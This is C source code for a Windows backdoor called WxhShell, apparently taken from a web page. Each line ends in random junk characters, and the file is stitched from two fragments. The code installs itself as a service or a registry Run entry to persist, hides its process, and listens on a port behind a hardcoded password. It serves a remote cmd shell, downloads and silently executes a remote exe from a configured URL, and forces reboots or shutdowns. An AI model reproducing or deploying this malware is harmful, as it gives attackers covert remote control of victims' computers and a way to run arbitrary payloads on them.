    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VuZuS6~#J  
    else { y766; X:J  
    closesocket(wsh); Fywv  
    ExitThread(0); +VOK%8,p  
    } "J_9WUN  
    break; y}ev ,j  
    } h J)h\  
  // 获取shell >!1-lfa8  
  case 's': { \"OG6G_>$  
    CmdShell(wsh); Txb#C[`  
    closesocket(wsh); p6!x=cW  
    ExitThread(0); U8n V[  
    break; .Vvx,>>D  
  } ~U&AI1t+J  
  // 退出 5K8^WK  
  case 'x': { 12gU{VD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v;D~Pa  
    CloseIt(wsh); ?J >  
    break; mtcw#D  
    } '!~)?C<  
  // 离开 K_Eux rPn  
  case 'q': { 5D//*}b,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ry6@VQ"NLb  
    closesocket(wsh); $suzW;{#  
    WSACleanup(); wgGl[_)  
    exit(1); )R1<N  
    break; DT&@^$?  
        } >7DhTM-A  
  } ZyFjFHe+  
  } N6i Q8P -  
LG#t<5y~  
  // 提示信息 )oPBa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); di )L[<$DY  
} JYHl,HH#z  
  } 3eQ&F~S  
l}K37f  
  return; LyFN.2qw  
} _u QOHwn  
>(t6.=  
// shell模块句柄 WOL:IZX%  
int CmdShell(SOCKET sock) rf{rpe$  
{ yEE*B:  
STARTUPINFO si; i?^L/b`H  
ZeroMemory(&si,sizeof(si)); FJ)$f?=Qd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ] >E s4 s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'E""amIJ  
PROCESS_INFORMATION ProcessInfo; #!+:!_45  
char cmdline[]="cmd"; .3Oap*X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~oY^;/ j  
  return 0; ?m"( S oh  
} &&>ekG 9@  
40m-ch6Q  
// 自身启动模式 ;>7De8v@@  
int StartFromService(void) ~2-1 j  
{ E+;7>ja  
typedef struct ak!G8'w  
{ sLxc(d'A  
  DWORD ExitStatus; Qq|57X)P*  
  DWORD PebBaseAddress; U&p${IcEm  
  DWORD AffinityMask; ]~3V}z,T*  
  DWORD BasePriority; V1M.JU  
  ULONG UniqueProcessId; ., 6-u  
  ULONG InheritedFromUniqueProcessId; hkQ"OsU  
}   PROCESS_BASIC_INFORMATION; 6(ol1 (U  
0flRh)[J  
PROCNTQSIP NtQueryInformationProcess; A2Gevj?F$  
;uP:"k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *gWwALGo5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wI/iuc  
YNi.SXH  
  HANDLE             hProcess; G" "ZI$`  
  PROCESS_BASIC_INFORMATION pbi; #AQV(;r7@  
-nV9:opD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P/_['7  
  if(NULL == hInst ) return 0; o?\?@H  
1iF1GkLEq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rnq7LGy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /mzlH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Qt<&WB fn  
f ) L  
  if (!NtQueryInformationProcess) return 0; l,5+@i`5i  
'TB2:W3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X=&KayD  
  if(!hProcess) return 0; }k.Z~1y  
j1T#yt J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IW] rb/H  
' S/gmn  
  CloseHandle(hProcess); IJcsmNWm  
LZxNAua  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p9-K_dw3X@  
if(hProcess==NULL) return 0; @f3E`8  
bV3|6]k^  
HMODULE hMod; O?#7N[7  
char procName[255]; e$Pj.>-<=  
unsigned long cbNeeded; 5\VWCI  
$/Uq0U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dG?*y  
HJ.-Dg5U  
  CloseHandle(hProcess); /od@!/  
[j+sC*  
if(strstr(procName,"services")) return 1; // 以服务启动 e~"U @8xk~  
5*u+q2\F  
  return 0; // 注册表启动 8'y$M] e9n  
} SQ+Gvq%Q]  
Z6MO^_m2  
// 主模块 vKAN@HSYr  
int StartWxhshell(LPSTR lpCmdLine) &s>Jb?_5Mx  
{ EQSQFRk;  
  SOCKET wsl; @gK?\URoT  
BOOL val=TRUE; }3WxZv]I}  
  int port=0; ]JQULE)  
  struct sockaddr_in door; b4Ekqas  
Z*6IW7#  
  if(wscfg.ws_autoins) Install(); +D*Z_Yh6  
Bdpy:'fJn  
port=atoi(lpCmdLine); ]7c=PC  
-M#Wt`6A  
if(port<=0) port=wscfg.ws_port; +R75v)  
!C.4<?*|  
  WSADATA data; h 'nY3GrU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a(ZcmYzXU  
w5 Li&m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   goWuw}?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); as =fCuJ  
  door.sin_family = AF_INET; lPAQ3t!,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _+3::j~;m  
  door.sin_port = htons(port); X2'0PXv>!  
\a3+rN dj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y8t8!{ytg  
closesocket(wsl); es0hm2HT3  
return 1; [{/jI\?v  
} n~Lt\K:  
E=O\0!F|b  
  if(listen(wsl,2) == INVALID_SOCKET) { ~pky@O#b  
closesocket(wsl); 3=V &K-  
return 1; ;-Aa|aT!  
} 7 _[L o4_  
  Wxhshell(wsl); <wHP2|<l*  
  WSACleanup(); :[d9tm  
u)Whr@m  
return 0; Y}KNKO;  
%B?=q@!QWn  
} ;mi%F3  
w&.a QGR#  
// 以NT服务方式启动 Rf% a'b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) + >!;i6|  
{ xD=csJ'(  
DWORD   status = 0; /dIzY0<aO  
  DWORD   specificError = 0xfffffff; (^>J&[=  
r: :b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1{.9uw"2S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 86H+h (R/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zj Z^_X3  
  serviceStatus.dwWin32ExitCode     = 0; UC$ppTCc?  
  serviceStatus.dwServiceSpecificExitCode = 0; {K!)Ss  
  serviceStatus.dwCheckPoint       = 0; !H\F2Vxs  
  serviceStatus.dwWaitHint       = 0; 1xx}~|F?|  
l}P=/#</T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s,_m{ to  
  if (hServiceStatusHandle==0) return; 8xMX  
lmhLM. 2  
status = GetLastError(); EhBKj |y  
  if (status!=NO_ERROR) "uf%iJ:%  
{ [_:nHZb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {\\T gs  
    serviceStatus.dwCheckPoint       = 0; #s9aI_  
    serviceStatus.dwWaitHint       = 0; x|29L7i  
    serviceStatus.dwWin32ExitCode     = status; bN=P*hdf  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7x8  yxE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K|s, ru  
    return; UL9n-M =  
  } J,6yYIq  
q0 \6F^;M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f<6lf7qzC  
  serviceStatus.dwCheckPoint       = 0; L4l!96]a  
  serviceStatus.dwWaitHint       = 0; #,v {Ihn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4`=m u}Y2  
} @[v~y"tE}  
U`s{Jm  
// 处理NT服务事件,比如:启动、停止 xd0 L{ue.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XB5DPx  
{ FE;x8(;W8  
switch(fdwControl) HtYwEjI  
{ S`]k>' l  
case SERVICE_CONTROL_STOP: EB|}fz  
  serviceStatus.dwWin32ExitCode = 0; -D~%|).'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yaV|AB$v  
  serviceStatus.dwCheckPoint   = 0; HkVB80hv  
  serviceStatus.dwWaitHint     = 0; /_ajaz%  
  { 3T0"" !Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BfiD9ka-z  
  } < FAheE+  
  return; J4U1t2@)9  
case SERVICE_CONTROL_PAUSE: wwcBsJ1{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l}M!8:UzU  
  break; mRK>U$v  
case SERVICE_CONTROL_CONTINUE: , 9 a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )Xyn q(  
  break; | VDV<g5h  
case SERVICE_CONTROL_INTERROGATE: +8ZF"{y  
  break; +x}<IS8  
}; .6 ?U@2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "tpSg  
}  "-V"=t'  
~WV"SaA)*U  
// 标准应用程序主函数 BING{ew  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 18:%~>.!  
{ sdmT  
ENY+^7  
// 获取操作系统版本 iO; 7t@]-  
OsIsNt=GetOsVer(); 8DaL,bi*.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \Y}8S/]  
SMK_6?MZ  
  // 从命令行安装 ^pk7"l4Xm  
  if(strpbrk(lpCmdLine,"iI")) Install(); q'MZ R'<@  
0_t!T'jr7  
  // 下载执行文件 Uf+%W;}  
if(wscfg.ws_downexe) { @U}1EC{A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S>1Iky|  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;sFF+^~L  
} +=8VTC n?  
r]36z X v  
if(!OsIsNt) { =_u4=4  
// 如果时win9x,隐藏进程并且设置为注册表启动 $* Kvc$D  
HideProc(); SasJic2M  
StartWxhshell(lpCmdLine); 0:d_Yv,D  
} 8)I^ t81  
else 5/Uy{Xt  
  if(StartFromService()) /&94 eC  
  // 以服务方式启动 P7~>mm+  
  StartServiceCtrlDispatcher(DispatchTable); b;UJ 88  
else H7:] ]j1  
  // 普通方式启动 VP]%Hni]  
  StartWxhshell(lpCmdLine); C;urBsC  
u;c?d!E  
return 0; um0N)&iY  
} |$b}L7_  
^y%T~dLkp'  
+srGN5!  
V~5jfcd  
=========================================== 8X|-rM{  
| %Vh`HT  
d>C$+v>  
g}',(tPMZ  
D}X\Ca"h  
CzEd8jeh7  
" n7-6- #  
D >tR-  
#include <stdio.h> 9qG6Pb  
#include <string.h> FJP-y5  
#include <windows.h> N<injx  
#include <winsock2.h> )P|),S,;Z  
#include <winsvc.h> |# 2.Q:&  
#include <urlmon.h> k+pr \d~  
G<v&4/\p`M  
#pragma comment (lib, "Ws2_32.lib") Q$@I"V&G.  
#pragma comment (lib, "urlmon.lib") :Fvrs( x  
B_m8{44zM  
#define MAX_USER   100 // 最大客户端连接数 U\*J9  
#define BUF_SOCK   200 // sock buffer ikiypWq  
#define KEY_BUFF   255 // 输入 buffer 7O-x<P;  
j#q-^h3H  
#define REBOOT     0   // 重启 @2 fg~2M1  
#define SHUTDOWN   1   // 关机 *CI#+P  
DlMW(4(  
#define DEF_PORT   5000 // 监听端口 7E~;xn;  
I4i>+:_J  
#define REG_LEN     16   // 注册表键长度 W v+?TEP  
#define SVC_LEN     80   // NT服务名长度 wcY? rE9  
+!.^zp21  
// 从dll定义API L0WN\|D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y/ ef>ZZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RdR p.pb8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7! INkH]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n8ZZ#}Nhg  
(M.&^w;`,  
// wxhshell配置信息 L>4"(  
struct WSCFG { QX'qyojxN  
  int ws_port;         // 监听端口 lchPpm9  
  char ws_passstr[REG_LEN]; // 口令 ~%kkeh\j  
  int ws_autoins;       // 安装标记, 1=yes 0=no fHd#u%63K  
  char ws_regname[REG_LEN]; // 注册表键名 %2V?,zY@  
  char ws_svcname[REG_LEN]; // 服务名 |imM# wF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K F!Yf\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?QdWrE_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %S^8c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9 X`Sm}i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =R$u[~Xl2X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ls+2Zbh  
h^(* Tv-!  
}; O.M>+~Nw  
PmEsN&YP]  
// default Wxhshell configuration ra gXn  
struct WSCFG wscfg={DEF_PORT, N]=q|D  
    "xuhuanlingzhe", M\Ye<Tk  
    1, qHlQ+:n  
    "Wxhshell", hH8oyIC  
    "Wxhshell", L2i_X@/  
            "WxhShell Service", ^ EQ<SCh  
    "Wrsky Windows CmdShell Service", 6H WE~`ok6  
    "Please Input Your Password: ", h_,i&d@(  
  1, ( 2E\p  
  "http://www.wrsky.com/wxhshell.exe",  B Qxs~  
  "Wxhshell.exe" yg=q;Z>[~  
    }; 6wjw^m0  
Ww+IWW@  
// 消息定义模块 >7T'OC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q1I6$8:7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :vQrOn18p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `MN4uC  
char *msg_ws_ext="\n\rExit."; ,~@X{7U  
char *msg_ws_end="\n\rQuit."; A>;bHf@  
char *msg_ws_boot="\n\rReboot..."; Z4w!p?Wqa  
char *msg_ws_poff="\n\rShutdown..."; j[G  
char *msg_ws_down="\n\rSave to "; dhf!o0'1M  
cj|80$cSA  
char *msg_ws_err="\n\rErr!"; h# o6K#  
char *msg_ws_ok="\n\rOK!"; Hc$O{]sq  
_P 3G  
char ExeFile[MAX_PATH]; lc1(t:"[  
int nUser = 0; `*cxH..  
HANDLE handles[MAX_USER]; ^Hnb }L  
int OsIsNt; 4ber!rJM  
S8wLmd>  
SERVICE_STATUS       serviceStatus; )9'K($  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o!Ieb  
:W.(S6O(  
// 函数声明 (!7sE9rP  
int Install(void); Zd}9O jz5  
int Uninstall(void); U} e!Wjrc  
int DownloadFile(char *sURL, SOCKET wsh); ^?7-r6  
int Boot(int flag); )D5"ap]fX  
void HideProc(void); SpLzm A  
int GetOsVer(void);  +yH7v5W  
int Wxhshell(SOCKET wsl); P%:wAYz1^O  
void TalkWithClient(void *cs); bz2ztH9 n  
int CmdShell(SOCKET sock); $=8  NED5  
int StartFromService(void); t~EPn.  
int StartWxhshell(LPSTR lpCmdLine); [P=Jw:E  
p;59?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8:c-k|CX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FxtQXu-g  
+mmSfuO&\  
// 数据结构和表定义 7{)G_?Q&  
SERVICE_TABLE_ENTRY DispatchTable[] = . y-D16V  
{ rb2S7k0{  
{wscfg.ws_svcname, NTServiceMain}, 9N%We|L,c  
{NULL, NULL} "$Z= %.3Q  
}; Ic"ybj`  
mPtZO*Fc  
// 自我安装 z0p*Z&  
int Install(void) jk; clwyz/  
{ [#<-ZC#T*  
  char svExeFile[MAX_PATH]; ?wiC Q6*$  
  HKEY key; nzuX&bSw  
  strcpy(svExeFile,ExeFile); G_3O]BMKd)  
L%*!`TN  
// 如果是win9x系统,修改注册表设为自启动 qPX~@^`9  
if(!OsIsNt) { @;zl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \Xt7`I<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6y%qVx#!  
  RegCloseKey(key); L3u&/Tn2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2\A$6N ;_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 53;}Nt#R  
  RegCloseKey(key); q1$N>;&  
  return 0; rxgbV.tx  
    } W7R<%?  
  } Z58 X5"  
} G\/zkrxmv  
else { ~drS} V  
ITE{@1  
// 如果是NT以上系统,安装为系统服务 \%JgH=@ :=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~NrG` D}  
if (schSCManager!=0) qOIyub  
{ 75cW_t,g  
  SC_HANDLE schService = CreateService  &=@IzmA  
  ( '%s.^kn  
  schSCManager, fIx+IL s  
  wscfg.ws_svcname, MnsJEvn/  
  wscfg.ws_svcdisp, 9|^2",V  
  SERVICE_ALL_ACCESS, .;y.]Z/;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >Eyt17_H"n  
  SERVICE_AUTO_START, v+W&9>  
  SERVICE_ERROR_NORMAL, :)-Sk$  
  svExeFile, !_]Y~[  
  NULL, oA7tE u   
  NULL, `&r+F/Ap2  
  NULL, LiC*@W  
  NULL, !fV+z%:  
  NULL ?qv !w~m<  
  ); 0cv{  
  if (schService!=0) a5dLQx b  
  { uanhr)Ys  
  CloseServiceHandle(schService); aq>kTaz  
  CloseServiceHandle(schSCManager); MD}w Y><C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e@L=LW>  
  strcat(svExeFile,wscfg.ws_svcname); GL>O4S<`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :(E@Gf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QGMV}y  
  RegCloseKey(key); 2 ~dE<}  
  return 0; b <tNk]7  
    } h/QXPdV  
  } ^rB8? kt  
  CloseServiceHandle(schSCManager); q\9JgD)  
} f$o_e90mu  
} rX U  
Yj<a" Gr4[  
return 1; %e8@*~h@  
} ")1:F>  
Ij7p' a  
// 自我卸载 Oz75V|D  
int Uninstall(void) %HhBt5w  
{ v8wq,CYV  
  HKEY key; /m!BY}4W  
:;v~%e{k  
if(!OsIsNt) { 9sM!`Lz{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }g@v`5  
  RegDeleteValue(key,wscfg.ws_regname); VnSCz" ?3  
  RegCloseKey(key); CmWeY$Jb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x f'V{9*  
  RegDeleteValue(key,wscfg.ws_regname); "-M p_O]  
  RegCloseKey(key); SjK  
  return 0; FBG4pb9=~  
  } OMk y$d#  
} HRpte=`q  
} eYc$ dPE  
else { mwO6g~@ `  
; t)3F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9v#CE!  
if (schSCManager!=0) Do9x XK  
{ \wmN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .S EdY:  
  if (schService!=0) E[OJ+ ;c  
  { TbMW|0 #w  
  if(DeleteService(schService)!=0) { "6A ` q\  
  CloseServiceHandle(schService); 1l9 G[o *  
  CloseServiceHandle(schSCManager); SA:Zc^aV  
  return 0; )J=!L\  
  } j<upRS,$  
  CloseServiceHandle(schService); pG_;$8Hc  
  } mb 1FWy=3  
  CloseServiceHandle(schSCManager); NCveSP  
} ,.S~ Y  
} ]IaMp788  
SV4E0c>  
return 1; Z<oaK  
} 1> ?M>vK  
gE-tjoJ  
// 从指定url下载文件 ]dVGUG8  
int DownloadFile(char *sURL, SOCKET wsh) Y!xF ;a  
{ _r#Z}HK  
  HRESULT hr; !6 #X>S14  
char seps[]= "/"; XE RUo  
char *token; I]|Pq  
char *file; YO`]UQ|dc  
char myURL[MAX_PATH]; 'B$yo]  
char myFILE[MAX_PATH]; uuEV_"X  
Xc ++b|k  
strcpy(myURL,sURL); +D6YR$_<  
  token=strtok(myURL,seps); 3=#<X-);  
  while(token!=NULL) O *C;Vqt  
  { h#I>M`|  
    file=token; s3N'02G  
  token=strtok(NULL,seps); z9f-.72"X  
  } E*& vy  
B^=-Z8  
GetCurrentDirectory(MAX_PATH,myFILE); {L971W_L  
strcat(myFILE, "\\"); @ )F)S 7  
strcat(myFILE, file); 299H$$WS,Z  
  send(wsh,myFILE,strlen(myFILE),0); @3i\%R)n;  
send(wsh,"...",3,0); Q>qUk@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _rMg}F"  
  if(hr==S_OK) J`Q>3] wL  
return 0; AOZP*\k  
else Ep_HcX`  
return 1; ';Ea?ID  
ZmqKQO  
} D>r&}6<  
>gQ>1Bwvi  
// 系统电源模块 ,]C;sN%~}  
int Boot(int flag) `cn#B BV  
{ T  wB}l  
  HANDLE hToken; OF>mF~  
  TOKEN_PRIVILEGES tkp; 9)yJ: N#F  
1#g2A0U,  
  if(OsIsNt) { ;LfXi 8)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }v;V=%N+v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h8j.(  
    tkp.PrivilegeCount = 1; yF:1( 4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sjTZF-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T"Y+m-<%  
if(flag==REBOOT) { 234p9A@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D8Ic?:iX[  
  return 0; <{p4V|:  
} )* :gqN  
else { LP^$AAy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^0 )g/`H^>  
  return 0; "!P3R1;%  
} KkyVSoD\  
  } ;C#F>SG\S  
  else { pad*oPH,  
if(flag==REBOOT) { +^ac'Y)A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pX<`+t[  
  return 0; g/_5unI}u  
} ^e5=hH-%  
else { _ye |Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h&iC;yj=  
  return 0; mIvx1_[  
} ,t744k')  
} 7WqH&vU|  
]mq|w  
return 1; ~Cttzn]pR  
} .LZ?S"z$ w  
octL"t8w  
// win9x进程隐藏模块 E~T-=ocKE  
void HideProc(void) dDMJ'  
{ 0auYG><=  
=*.~BG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uZYF(Yu  
  if ( hKernel != NULL ) ;1=1:S8  
  { 2.y-48Nz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T{^rt3a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rXq.DvQ  
    FreeLibrary(hKernel);  A@('pA85  
  } T<>,lQs(a  
M0"_^?  
return; :,7hWs  
} [DOckf oZx  
D) P._?  
// 获取操作系统版本 DfD&)tsMQ  
int GetOsVer(void) ]5cT cX;Z#  
{ UDFDJm$  
  OSVERSIONINFO winfo; Qel9G($=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LOYk9m  
  GetVersionEx(&winfo); /}Axf"OE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +=h:Vb8  
  return 1; Q{>k1$fkV  
  else Rp7mh]kZ  
  return 0; {YC@T(  
} lVa%$F{Pq  
y.k~Y0  
// 客户端句柄模块 JR|ck=tq  
int Wxhshell(SOCKET wsl) q?:dCFw$x5  
{ (WJRi:NP?  
  SOCKET wsh; /N .b%M] !  
  struct sockaddr_in client; T!{w~'=F  
  DWORD myID; 29b9`NXt  
8,%^ M9zBP  
  while(nUser<MAX_USER) |Ez>J+uye(  
{ H?Wya.7  
  int nSize=sizeof(client); .P]+? %&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i]4I [!  
  if(wsh==INVALID_SOCKET) return 1; }<r)~{UV  
vr l-$ii  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q&;9 x?e  
if(handles[nUser]==0) bJ%h53  
  closesocket(wsh); "sCRdx]_  
else n>XdU%&  
  nUser++; =nS3p6>rZ  
  } HC8e>kP9b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0d&6lqTo  
I236 RIq  
  return 0; G` A4|+W"  
} ,4$>,@WW~  
T^KKy0ZGM  
// 关闭 socket X_h}J=33Q  
void CloseIt(SOCKET wsh) ~mxO7cy5Cg  
{ Fxz"DZY6  
closesocket(wsh); t*u:hex  
nUser--; kevrsV]/$  
ExitThread(0); 0~S^Y1hH  
} w@E3ZL^  
vE?G7%,  
// 客户端请求句柄 9A=,E&  
void TalkWithClient(void *cs) Otuf] B^s  
{ yf+)6D -9n  
TJRCH>E[a  
  SOCKET wsh=(SOCKET)cs; 4[e X e$  
  char pwd[SVC_LEN]; +0Y&`{#Z  
  char cmd[KEY_BUFF]; D,feF9  
char chr[1]; TeM|:o  
int i,j; fZF@k5*\  
:F?C)F  
  while (nUser < MAX_USER) { } Kgy  
e"<OELA  
if(wscfg.ws_passstr) { a~w$#fo"`f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #6=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f:} x7_Q  
  //ZeroMemory(pwd,KEY_BUFF); fHFE){  
      i=0; mzgfFNm^G)  
  while(i<SVC_LEN) { (9a^$C*  
ZECfR>`x  
  // 设置超时 1qA;/-Zr<o  
  fd_set FdRead; 2+XA X:YD  
  struct timeval TimeOut; oEv 'dQ9  
  FD_ZERO(&FdRead); upmx $H>  
  FD_SET(wsh,&FdRead); x q h  
  TimeOut.tv_sec=8; ~"!fP3"e  
  TimeOut.tv_usec=0; 59u }W 0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I?CZQ+}Hq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  ob]w;"  
hZb_P\1X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pq$n5fZC !  
  pwd=chr[0]; SXh-A1t  
  if(chr[0]==0xd || chr[0]==0xa) { ^\m![T\bX  
  pwd=0; p_4<6{KEt  
  break; ;uGv:$([g  
  } P%n>Tg80M  
  i++; "AqB$^S9t  
    } LS[]=Mk@1  
KI.hy2?e  
  // 如果是非法用户,关闭 socket HzsdHH(J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fz_r7?  
} ueNS='+m  
gX@aG9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !4!~L k=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DY*N|OnqJ  
6A ah9   
while(1) { Fr-SvsNFB  
4qa.1j(R/  
  ZeroMemory(cmd,KEY_BUFF); l]SX@zTb  
/-s6<e!  
      // 自动支持客户端 telnet标准   zQ PQ  
  j=0; 8P`"M#fI  
  while(j<KEY_BUFF) { i.#:zU%o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pj(,Zd[47  
  cmd[j]=chr[0]; Zd+bx*rD  
  if(chr[0]==0xa || chr[0]==0xd) { W,u:gzmhw  
  cmd[j]=0; ]M3yLYK/P  
  break; iy"*5<;*DD  
  } :!QAC@  
  j++; j<$2hiI/?&  
    } EQ_aa@M7  
;*J  
  // 下载文件 .+qpk*V\  
  if(strstr(cmd,"http://")) { *zLMpL_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [F7hu7zY8  
  if(DownloadFile(cmd,wsh)) uAk.@nfiEv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;{6~Bq9  
  else +ge?w#R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9YGY,s x  
  } <3 uNl  
  else { VU#7%ufu&  
 !@sUj  
    switch(cmd[0]) { gM]:Ma  
  1;iUWU1@  
  // 帮助 l-3~K-k<@  
  case '?': { {`_i`  
